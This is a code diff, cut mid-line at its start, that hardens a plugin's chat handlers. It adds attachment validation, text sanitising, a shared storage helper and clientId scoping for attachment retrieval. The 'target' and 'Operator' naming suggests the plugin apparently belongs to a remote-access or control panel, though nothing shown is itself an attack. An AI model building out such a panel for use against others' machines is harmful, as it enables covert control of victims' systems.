${stored.error}`); + return; + } + ctx.broadcast("new_message", { + id: stored.id, + clientId, + sender, + direction: "from_target", + text, timestamp: ts, }); } if (event === "chat_attachment") { - const ts = Date.now(); - const name = payload.name || "file"; - const mime = payload.mime || "application/octet-stream"; - let buf = null; - try { - buf = Buffer.from(payload.dataB64 || "", "base64"); - } catch (_) { - buf = null; + const attachment = validateChatAttachment(payload); + if (!attachment.ok) { + ctx.log?.warn?.(`Rejected chat attachment from ${clientId}: ${attachment.error}`); + return; } - if (!buf || buf.length === 0) return; - const info = ctx.db - .prepare( - `INSERT INTO messages(client_id, sender, direction, text, timestamp, attachment_name, attachment_mime, attachment_data) VALUES (?, ?, ?, ?, ?, ?, ?, ?)` - ) - .run( - clientId, - payload.from || "Unknown", - "from_target", - "", - ts, - name, - mime, - buf - ); - ctx.broadcast("new_message", { - id: Number(info.lastInsertRowid), + const ts = Date.now(); + const { name, mime, buf } = attachment; + const sender = sanitizeChatText(payload?.from || "Unknown", 128) || "Unknown"; + const stored = storeChatMessage(ctx, { clientId, - sender: payload.from || "Unknown", + sender, + direction: "from_target", + text: "", + timestamp: ts, + attachmentName: name, + attachmentMime: mime, + attachmentData: buf, + }); + if (!stored.ok) { + ctx.log?.warn?.(`Rejected chat attachment from ${clientId}: ${stored.error}`); + return; + } + ctx.broadcast("new_message", { + id: stored.id, + clientId, + sender, direction: "from_target", text: "", timestamp: ts, @@ -131,78 +624,93 @@ export default { }, get_attachment(ctx, params) { + const clientId = String(params?.clientId || "").trim(); + if (!clientId) return { ok: false, error: "clientId required" }; const row = ctx.db .prepare( - `SELECT attachment_name, attachment_mime, attachment_data FROM messages WHERE id = ?` + `SELECT attachment_name, attachment_mime, attachment_data FROM messages WHERE id = ? AND client_id = ?` ) - .get(params.id); + .get(params.id, clientId); if (!row || !row.attachment_data) { return { ok: false, error: "not found" }; } const buf = Buffer.isBuffer(row.attachment_data) ? row.attachment_data : Buffer.from(row.attachment_data); + const checked = validateChatAttachmentBytes(row.attachment_mime, buf); + if (!checked.ok) { + return { ok: false, error: "unsafe attachment blocked" }; + } return { ok: true, - name: row.attachment_name, - mime: row.attachment_mime, + name: sanitizeAttachmentName(row.attachment_name), + mime: checked.mime, dataB64: buf.toString("base64"), }; }, store_message(ctx, params) { + const clientId = String(params?.clientId || "").trim(); + const text = sanitizeChatText(params?.text); + const sender = sanitizeChatText(params?.sender || "Operator", 128) || "Operator"; + if (!clientId || !text) return { ok: false, error: "invalid message" }; const ts = Date.now(); - const info = ctx.db - .prepare( - `INSERT INTO messages(client_id, sender, direction, text, timestamp) VALUES (?, ?, ?, ?, ?)` - ) - .run(params.clientId, params.sender, "to_target", params.text, ts); - ctx.broadcast("new_message", { - id: Number(info.lastInsertRowid), - clientId: params.clientId, - sender: params.sender, + const stored = storeChatMessage(ctx, { + clientId, + sender, direction: "to_target", - text: params.text, + text, timestamp: ts, }); - return { ok: true, id: Number(info.lastInsertRowid), timestamp: ts }; + if (!stored.ok) return stored; + ctx.broadcast("new_message", { + id: stored.id, + clientId, + sender, + direction: "to_target", + text, + timestamp: ts, + }); + return { ok: true, id: stored.id, timestamp: ts }; }, store_attachment(ctx, params) { - const ts = Date.now(); - const name = params.name || "file"; - const mime = params.mime || "application/octet-stream"; - let buf = null; - try { - buf = Buffer.from(params.dataB64 || "", "base64"); - } catch (_) {} - if (!buf || buf.length === 0) { - return { ok: false, error: "empty data" }; + const attachment = validateChatAttachment(params); + if (!attachment.ok) { + return { ok: false, error: attachment.error }; } - const info = ctx.db - .prepare( - `INSERT INTO messages(client_id, sender, direction, text, timestamp, attachment_name, attachment_mime, attachment_data) VALUES (?, ?, ?, ?, ?, ?, ?, ?)` - ) - .run( - params.clientId, - params.sender, - "to_target", - "", - ts, - name, - mime, - buf - ); + const ts = Date.now(); + const { name, mime, buf } = attachment; + const clientId = String(params?.clientId || "").trim(); + if (!clientId) return { ok: false, error: "clientId required" }; + const sender = sanitizeChatText(params?.sender || "Operator", 128) || "Operator"; + const stored = storeChatMessage(ctx, { + clientId, + sender, + direction: "to_target", + text: "", + timestamp: ts, + attachmentName: name, + attachmentMime: mime, + attachmentData: buf, + }); + if (!stored.ok) return stored; ctx.broadcast("new_message", { - id: Number(info.lastInsertRowid), - clientId: params.clientId, - sender: params.sender, + id: stored.id, + clientId, + sender, direction: "to_target", text: "", timestamp: ts, attachment: { name, mime, size: buf.length }, }); - return { ok: true, id: Number(info.lastInsertRowid), timestamp: ts }; + return { + ok: true, + id: stored.id, + timestamp: ts, + name, + mime, + }; }, clear_history(ctx, params) {